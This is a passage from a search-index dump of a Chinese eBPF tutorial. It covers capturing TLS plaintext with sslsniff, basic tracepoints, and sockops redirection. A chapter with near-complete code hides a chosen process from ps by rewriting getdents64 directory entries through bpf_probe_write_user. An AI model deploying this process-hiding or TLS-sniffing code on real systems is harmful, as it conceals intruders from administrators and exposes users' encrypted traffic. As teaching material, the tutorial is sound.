在eBPF生态系统中，perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的，因为它们不能直接与用户态进行交互。使用perf_buffer，我们可以在内核态eBPF程序中收集数据，然后在用户态异步地读取这些数据。我们使用 perf_buffer__poll 函数来读取内核态上报的数据，如下所示： while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { warn(\"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } err = 0; } 最后，在 print_event 函数中，我们将数据打印到标准输出： // Function to print the event from the perf buffer\nvoid print_event(struct probe_SSL_data_t *event, const char *evt) { ... if (buf_size != 0) { if (env.hexdump) { // 2 characters for each byte + null terminator char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; buf_to_hex((uint8_t *)buf, buf_size, hex_data); printf(\"\\n%s\\n\", s_mark); for (size_t i = 0; i < strlen(hex_data); i += 32) { printf(\"%.32s\\n\", hex_data + i); } printf(\"%s\\n\\n\", e_mark); } else { printf(\"\\n%s\\n%s\\n%s\\n\\n\", s_mark, buf, e_mark); } }\n} 完整的源代码可以在这里查看： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 2. 详细挂载逻辑","id":"159","title":"2. 详细挂载逻辑"},"16":{"body":"可以通过以下步骤下载和安装 eunomia-bpf： 下载 ecli 工具，用于运行 eBPF 程序： $ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli\n$ ./ecli -h\nUsage: ecli [--help] [--version] [--json] [--no-cache] url-and-args 下载编译器工具链，用于将 eBPF 内核代码编译为 config 文件或 WASM 模块： $ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc\n$ ./ecc -h\neunomia-bpf compiler\nUsage: ecc [OPTIONS]  [EXPORT_EVENT_HEADER]\n.... 也可以使用 docker 镜像进行编译： $ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。\nexport PATH=PATH:~/.eunomia/bin\nCompiling bpf object...\nPacking ebpf object and config into /src/package.json...","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 下载安装 eunomia-bpf 开发工具","id":"16","title":"下载安装 eunomia-bpf 开发工具"},"160":{"body":"要开始使用 sslsniff，首先要进行编译： make 完成后，请按照以下步骤操作：","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 编译与运行","id":"160","title":"编译与运行"},"161":{"body":"在一个终端中，执行以下命令来启动 sslsniff： sudo ./sslsniff","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 启动 sslsniff","id":"161","title":"启动 sslsniff"},"162":{"body":"在另一个终端中，执行： curl https://example.com 正常情况下，你会看到类似以下的输出：    Example Domain ...  
 ... 
  ","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 执行 CURL 命令","id":"162","title":"执行 CURL 命令"},"163":{"body":"当执行 curl 命令后，sslsniff 会显示以下内容： READ/RECV 0.132786160 curl 47458 1256 ----- DATA -----  ... 
 
Example Domain
 ... 
   ----- END DATA ----- 注意 ：显示的 HTML 内容可能会因 example.com 页面的不同而有所不同。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » sslsniff 输出","id":"163","title":"sslsniff 输出"},"164":{"body":"要查看延迟和握手过程，请执行以下命令： $ sudo ./sslsniff -l --handshake\nOpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3\nGnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30\nNSS path: /lib/x86_64-linux-gnu/libnspr4.so\nFUNC TIME(s) COMM PID LEN LAT(ms)\nHANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 显示延迟和握手过程","id":"164","title":"显示延迟和握手过程"},"165":{"body":"要以16进制格式显示数据，请执行以下命令： $ sudo ./sslsniff --hexdump\nWRITE/SEND 0.000000000 curl 16104 24 ----- DATA -----\n505249202a20485454502f322e300d0a\n0d0a534d0d0a0d0a\n----- END DATA ----- ...","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 16进制输出","id":"165","title":"16进制输出"},"166":{"body":"eBPF 是一个非常强大的技术，它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例，展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣，并希望进一步了解和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。 参考资料： https://github.com/iovisor/bcc/pull/4706 https://github.com/openssl/openssl https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt https://en.wikipedia.org/wiki/Transport_Layer_Security","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 总结","id":"166","title":"总结"},"167":{"body":"","breadcrumbs":"使用 sockops 加速网络请求转发 » eBPF sockops 示例","id":"167","title":"eBPF sockops 示例"},"168":{"body":"网络连接本质上是 socket 之间的通讯，eBPF 提供了一个 bpf_msg_redirect_hash 函数，用来将应用发出的包直接转发到对端的 socket，可以极大地加速包在内核中的处理流程。 这里 sock_map 是记录 socket 规则的关键部分，即根据当前的数据包信息，从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方，将 socket 信息保存到 sock_map，并提供一个规则 (一般为四元组) 根据 key 查找到 socket。 Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后，出入口流量会直接跳过很多内核模块，明显提高性能，如下图所示： merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 利用 eBPF 的 sockops 进行性能优化","id":"168","title":"利用 eBPF 的 sockops 进行性能优化"},"169":{"body":"此示例程序从发送者的套接字（出口）重定向流量至接收者的套接字（入口）， 跳过 TCP/IP 内核网络栈 。在这个示例中，我们假定发送者和接收者都在 同一台 机器上运行。","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行样例","id":"169","title":"运行样例"},"17":{"body":"我们会先从一个简单的 eBPF 程序开始，它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件，然后使用 ecli 工具加载并运行该程序。作为示例，我们可以暂时省略用户态程序的部分。 /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#define BPF_NO_GLOBAL_DATA\n#include \n#include \n#include  typedef unsigned int u32;\ntypedef int pid_t;\nconst pid_t pid_filter = 0; char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"tp/syscalls/sys_enter_write\")\nint handle_tp(void *ctx)\n{ pid_t pid = bpf_get_current_pid_tgid() >> 32; if (pid_filter && pid != pid_filter) return 0; bpf_printk(\"BPF triggered sys_enter_write from PID %d.\\n\", pid); return 0;\n} 这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint（即在进入 write 系统调用时执行）。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID，并在内核日志中打印出来。 bpf_trace_printk()： 一种将信息输出到trace_pipe(/sys/kernel/debug/tracing/trace_pipe)简单机制。 在一些简单用例中这样使用没有问题， but它也有一些限制：最多3 参数； 第一个参数必须是%s(即字符串)；同时trace_pipe在内核中全局共享，其他并行使用trace_pipe的程序有可能会将 trace_pipe 的输出扰乱。 一个更好的方式是通过 BPF_PERF_OUTPUT(), 稍后将会讲到。 void *ctx：ctx本来是具体类型的参数， 但是由于我们这里没有使用这个参数，因此就将其写成void *类型。 return 0;：必须这样，返回0 (如果要知道why, 参考 #139 https://github.com/iovisor/bcc/issues/139 )。 要编译和运行这段程序，可以使用 ecc 工具和 ecli 命令。首先在 Ubuntu/Debian 上，执行以下命令： sudo apt install clang llvm 使用 ecc 编译程序： $ ./ecc minimal.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 或使用 docker 镜像进行编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 然后使用 ecli 运行编译后的程序： $ sudo ./ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep \"BPF triggered sys_enter_write\" <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. 按 Ctrl+C 停止 ecli 进程之后，可以看到对应的输出也停止。 注意：如果正在使用的 Linux 发行版（例如 Ubuntu ）默认情况下没有启用跟踪子系统可能看不到任何输出，使用以下指令打开这个功能： $ sudo su\n# echo 1 > /sys/kernel/debug/tracing/tracing_on","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » Hello World - minimal eBPF program","id":"17","title":"Hello World - minimal eBPF program"},"170":{"body":"# Compile the bpf_sockops program\nclang -O2 -g -Wall -target bpf -c bpf_sockops.c -o bpf_sockops.o\nclang -O2 -g -Wall -target bpf -c bpf_redir.c -o bpf_redir.o","breadcrumbs":"使用 sockops 加速网络请求转发 » 编译 eBPF 程序","id":"170","title":"编译 eBPF 程序"},"171":{"body":"sudo ./load.sh 您可以使用 bpftool utility 检查这两个 eBPF 程序是否已经加载。 $ sudo bpftool prog show\n63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 1232B jited 750B memlock 4096B map_ids 58\n64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 304B jited 233B memlock 4096B map_ids 58","breadcrumbs":"使用 sockops 加速网络请求转发 » 加载 eBPF 程序","id":"171","title":"加载 eBPF 程序"},"172":{"body":"iperf3 -s -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 服务器","id":"172","title":"运行 iperf3 服务器"},"173":{"body":"iperf3 -c 127.0.0.1 -t 10 -l 64k -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 客户端","id":"173","title":"运行 iperf3 客户端"},"174":{"body":"$ ./trace.sh\niperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135\niperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583\niperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135\niperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095 你应该可以看到 4 个用于套接字建立的事件。如果你没有看到任何事件，那么 eBPF 程序可能没有正确地附加上。","breadcrumbs":"使用 sockops 加速网络请求转发 » 收集追踪","id":"174","title":"收集追踪"},"175":{"body":"sudo ./unload.sh","breadcrumbs":"使用 sockops 加速网络请求转发 » 卸载 eBPF 程序","id":"175","title":"卸载 eBPF 程序"},"176":{"body":"https://github.com/zachidan/ebpf-sockops https://github.com/merbridge/merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 参考资料","id":"176","title":"参考资料"},"177":{"body":"eBPF（扩展的伯克利数据包过滤器）是 Linux 内核中的一个强大功能，可以在无需更改内核源代码或重启内核的情况下，运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 在本篇教程中，我们将展示如何利用 eBPF 来隐藏进程或文件信息，这是网络安全和防御领域中一种常见的技术。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » eBPF 开发实践：使用 eBPF 隐藏进程或文件信息","id":"177","title":"eBPF 开发实践：使用 eBPF 隐藏进程或文件信息"},"178":{"body":"\"进程隐藏\" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中，这种技术都可能被应用。具体来说，Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹，包含了该进程的各种信息。ps 命令就是通过查找这些文件夹来显示进程信息的。因此，如果我们能隐藏某个进程的 /proc/ 文件夹，就能让这个进程对 ps 命令等检测手段“隐身”。 要实现进程隐藏，关键在于操作 /proc/ 目录。在 Linux 中，getdents64 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用，修改它返回的结果，从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能，它可以修改用户空间的内存，因此能用来修改 getdents64 返回的结果。 下面，我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 背景知识与实现机制","id":"178","title":"背景知识与实现机制"},"179":{"body":"接下来，我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分： // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Map to fold the dents buffer addresses\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_buffs SEC(\".maps\"); // Map used to enable searching through the\n// data in a loop\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, int);\n} map_bytes_read SEC(\".maps\"); // Map with address of actual\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_to_patch SEC(\".maps\"); // Map to hold program tail calls\nstruct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 5); __type(key, __u32); __type(value, __u32);\n} map_prog_array SEC(\".maps\"); 我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件，如 \"vmlinux.h\"、\"bpf_helpers.h\"、\"bpf_tracing.h\" 和 \"bpf_core_read.h\"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。 \"vmlinux.h\" 是一个包含了完整的内核数据结构的头文件，是从 vmlinux 内核二进制中提取的。使用这个头文件，eBPF 程序可以访问内核的数据结构。 \"bpf_helpers.h\" 头文件中定义了一系列的宏，这些宏是 eBPF 程序使用的 BPF 助手（helper）函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 \"bpf_tracing.h\" 是用于跟踪事件的头文件，它包含了许多宏和函数，这些都是为了简化 eBPF 程序对跟踪点（tracepoint）的操作。 \"bpf_core_read.h\" 头文件提供了一组用于从内核读取数据的宏和函数。 程序中定义了一系列的 map 结构，这些 map 是 eBPF 程序中的主要数据结构，它们用于在内核态和用户态之间共享数据，或者在 eBPF 程序中存储和传递数据。 其中，\"rb\" 是一个 Ringbuffer 类型的 map，它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。 \"map_buffs\" 是一个 Hash 类型的 map，它用于存储目录项（dentry）的缓冲区地址。 \"map_bytes_read\" 是另一个 Hash 类型的 map，它用于在数据循环中启用搜索。 \"map_to_patch\" 是另一个 Hash 类型的 map，存储了需要被修改的目录项（dentry）的地址。 \"map_prog_array\" 是一个 Prog Array 类型的 map，它用于保存程序的尾部调用。 程序中的 \"target_ppid\" 和 \"pid_to_hide_len\"、\"pid_to_hide\" 是几个重要的全局变量，它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。 接下来的代码部分，程序定义了一个名为 \"linux_dirent64\" 的结构体，这个结构体代表一个 Linux 目录项。然后程序定义了两个函数，\"handle_getdents_enter\" 和 \"handle_getdents_exit\"，这两个函数分别在 getdents64 系统调用的入口和出口被调用，用于实现对目录项的操作。 // Optional Target Parent PID\nconst volatile int target_ppid = 0; // These store the string represenation\n// of the PID to hide. This becomes the name\n// of the folder in /proc/\nconst volatile int pid_to_hide_len = 0;\nconst volatile char pid_to_hide[max_pid_len]; // struct linux_dirent64 {\n// u64 d_ino; /* 64-bit inode number */\n// u64 d_off; /* 64-bit offset to next structure */\n// unsigned short d_reclen; /* Size of this dirent */\n// unsigned char d_type; /* File type */\n// char d_name[]; /* Filename (null-terminated) */ }; // int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);\nSEC(\"tp/syscalls/sys_enter_getdents64\")\nint handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); // Check if we're a process thread of interest // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } int pid = pid_tgid >> 32; unsigned int fd = ctx->args[0]; unsigned int buff_count = ctx->args[2]; // Store params in map for exit function struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); return 0;\n} 在这部分代码中，我们可以看到 eBPF 程序的一部分具体实现，该程序负责在 getdents64 系统调用的入口处进行处理。 我们首先声明了几个全局的变量。其中 target_ppid 代表我们要关注的目标父进程的 PID。如果这个值为 0，那么我们将关注所有的进程。pid_to_hide_len 和 pid_to_hide 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 /proc/ 目录下的一个文件夹的名称，因此被隐藏的进程在 /proc/ 目录下将无法被看到。 接下来，我们声明了一个名为 linux_dirent64 的结构体。这个结构体代表一个 Linux 目录项，包含了一些元数据，如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。 然后是 getdents64 函数的原型。这个函数是 Linux 系统调用，用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中，对目录项进行修改，以实现进程隐藏。 随后的部分是 eBPF 程序的具体实现。我们在 getdents64 系统调用的入口处定义了一个名为 handle_getdents_enter 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID，然后检查这个进程是否是我们关注的进程。如果我们设置了 target_ppid，那么我们就只关注那些父进程的 PID 为 target_ppid 的进程。如果 target_ppid 为 0，我们就关注所有进程。 在确认了当前进程是我们关注的进程之后，我们将 getdents64 系统调用的参数保存到一个 map 中，以便在系统调用返回时使用。我们特别关注 getdents64 系统调用的第二个参数，它是一个指向 linux_dirent64 结构体的指针，代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 map_buffs 这个 map 中。 至此，我们完成了 getdents64 系统调用入口处的处理。在系统调用返回时，我们将会在 handle_getdents_exit 函数中，对目录项进行修改，以实现进程隐藏。 在接下来的代码段中，我们将要实现在 getdents64 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程，并且对目录项进行修改以实现隐藏。 我们首先定义了一个名为 handle_getdents_exit 的函数，它将在 getdents64 系统调用返回时被调用。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); int total_bytes_read = ctx->ret; // if bytes_read is 0, everything's been read if (total_bytes_read <= 0) { return 0; } // Check we stored the address of the buffer from the syscall entry long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); if (pbuff_addr == 0) { return 0; } // All of this is quite complex, but basically boils down to // Calling 'handle_getdents_exit' in a loop to iterate over the file listing // in chunks of 200, and seeing if a folder with the name of our pid is in there. // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual // patching long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp = 0; int pid = pid_tgid >> 32; short unsigned int d_reclen = 0; char filename[max_pid_len]; unsigned int bpos = 0; unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); if (pBPOS != 0) { bpos = *pBPOS; } for (int i = 0; i < 200; i ++) { if (bpos >= total_bytes_read) { break; } dirp = (struct linux_dirent64 *)(buff_addr+bpos); bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); int j = 0; for (j = 0; j < pid_to_hide_len; j++) { if (filename[j] != pid_to_hide[j]) { break; } } if (j == pid_to_hide_len) { // *********** // We've found the folder!!! // Jump to handle_getdents_patch so we can remove it! // *********** bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); bpf_tail_call(ctx, &map_prog_array, PROG_02); } bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); bpos += d_reclen; } // If we didn't find it, but there's still more to read, // jump back the start of this function and keep looking if (bpos < total_bytes_read) { bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); bpf_tail_call(ctx, &map_prog_array, PROG_01); } bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); return 0;\n} 在这个函数中，我们首先获取了当前进程的 PID 和线程组 ID，然后检查系统调用是否读取到了目录的内容。如果没有读取到内容，我们就直接返回。 然后我们从 map_buffs 这个 map 中获取 getdents64 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址，那么就没有必要进行进一步的处理。 接下来的部分有点复杂，我们用了一个循环来迭代读取目录的内容，并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了，我们就用 bpf_tail_call 函数跳转到 handle_getdents_patch 函数，进行实际的隐藏操作。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)\n{ // Only patch if we've already checked and found our pid's folder to hide size_t pid_tgid = bpf_get_current_pid_tgid(); long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); if (pbuff_addr == 0) { return 0; } // Unlink target, by reading in previous linux_dirent64 struct, // and setting it's d_reclen to cover itself and our target. // This will make the program skip over our folder. long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; short unsigned int d_reclen_previous = 0; bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); short unsigned int d_reclen = 0; bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); // Debug print char filename[max_pid_len]; bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename previous %s\\n\", filename); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename next one %s\\n\", filename); // Attempt to overwrite short unsigned int d_reclen_new = d_reclen_previous + d_reclen; long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); // Send an event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = (pid_tgid >> 32); bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } bpf_map_delete_elem(&map_to_patch, &pid_tgid); return 0;\n} 在 handle_getdents_patch 函数中，我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容，并且修改 d_reclen 字段，让它覆盖下一个目录项，这样就可以隐藏我们的目标进程了。 在这个过程中，我们用到了 bpf_probe_read_user、bpf_probe_read_user_str、bpf_probe_write_user 这几个函数来读取和写入用户空间的数据。这是因为在内核空间，我们不能直接访问用户空间的数据，必须使用这些特殊的函数。 在我们完成隐藏操作后，我们会向一个名为 rb 的环形缓冲区发送一个事件，表示我们已经成功地隐藏了一个进程。我们用 bpf_ringbuf_reserve 函数来预留缓冲区空间，然后将事件的数据填充到这个空间，并最后用 bpf_ringbuf_submit 函数将事件提交到缓冲区。 最后，我们清理了之前保存在 map 中的数据，并返回。 这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子，我们可以看到 eBPF 提供的丰富的功能，如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑，而不需要修改内核代码。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 内核态 eBPF 程序实现","id":"179","title":"内核态 eBPF 程序实现"},"18":{"body":"如上所述， eBPF 程序的基本框架包括： 包含头文件：需要包含  和  等头文件。 定义许可证：需要定义许可证，通常使用 \"Dual BSD/GPL\"。 定义 BPF 函数：需要定义一个 BPF 函数，例如其名称为 handle_tp，其参数为 void *ctx，返回值为 int。通常用 C 语言编写。 使用 BPF 助手函数：在例如 BPF 函数中，可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。 返回值","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 程序的基本框架","id":"18","title":"eBPF 程序的基本框架"},"180":{"body":"我们在用户态的 eBPF 程序中主要进行了以下几个操作： 打开 eBPF 程序。 设置我们想要隐藏的进程的 PID。 验证并加载 eBPF 程序。 等待并处理由 eBPF 程序发送的事件。 首先，我们打开了 eBPF 程序。这个过程是通过调用 pidhide_bpf__open 函数实现的。如果这个过程失败了，我们就直接返回。 skel = pidhide_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open BPF program: %s\\n\", strerror(errno)); return 1; } 接下来，我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 rodata 区域实现的。默认情况下，我们隐藏的是当前进程。 char pid_to_hide[10]; if (env.pid_to_hide == 0) { env.pid_to_hide = getpid(); } sprintf(pid_to_hide, \"%d\", env.pid_to_hide); strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; skel->rodata->target_ppid = env.target_ppid; 然后，我们验证并加载 eBPF 程序。这个过程是通过调用 pidhide_bpf__load 函数实现的。如果这个过程失败了，我们就进行清理操作。 err = pidhide_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } 最后，我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 ring_buffer__poll 函数实现的。在这个过程中，我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有，我们就调用 handle_event 函数来处理这个事件。 printf(\"Successfully started!\\n\");\nprintf(\"Hiding PID %d\\n\", env.pid_to_hide);\nwhile (!exiting)\n{ err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; }\n} handle_event 函数中，我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文，事件的数据，以及数据的大小。我们首先将事件的数据转换为 event 结构体，然后根据 success 字段判断这个事件是否表示成功隐藏了一个进程，最后打 印相应的消息。 static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; if (e->success) printf(\"Hid PID from program %d (%s)\\n\", e->pid, e->comm); else printf(\"Failed to hide PID from program %d (%s)\\n\", e->pid, e->comm); return 0;\n} 这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序，然后设置我们想要隐藏的进程的 PID，再验证并加载 eBPF 程序，最后等待并处理由 eBPF 程序发送的事件。这个过程中，我们使用了 eBPF 提供的一些高级功能，如环形缓冲区和事件处理，这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide 本文所示技术仅为概念验证，仅供学习使用，严禁用于不符合法律法规要求的场景。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 用户态 eBPF 程序实现","id":"180","title":"用户态 eBPF 程序实现"},"181":{"body":"首先，我们需要编译 eBPF 程序： make 然后，假设我们想要隐藏进程 ID 为 1534 的进程，可以运行如下命令： sudo ./pidhide --pid-to-hide 1534 这条命令将使所有尝试读取 /proc/ 目录的操作都无法看到 PID 为 1534 的进程。例如，我们可以选择一个进程进行隐藏： $ ps -aux | grep 1534\nyunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor\nyunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是，如果我们运行 sudo ./pidhide --pid-to-hide 1534，再次运行 ps -aux | grep 1534，就会发现进程 ID 为 1534 的进程已经不见了。 $ sudo ./pidhide --pid-to-hide 1534\nHiding PID 1534\nHid PID from program 31529 (ps)\nHid PID from program 31551 (ps)\nHid PID from program 31560 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31585 (bash)\nHid PID from program 31585 (bash)\nHid PID from program 31609 (bash)\nHid PID from program 31640 (ps)\nHid PID from program 31649 (ps) 这个程序将匹配这个 pid 的进程隐藏，使得像 ps 这样的工具无法看到，我们可以通过 ps aux | grep 1534 来验证。 $ ps -aux | grep 1534\nroot 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide 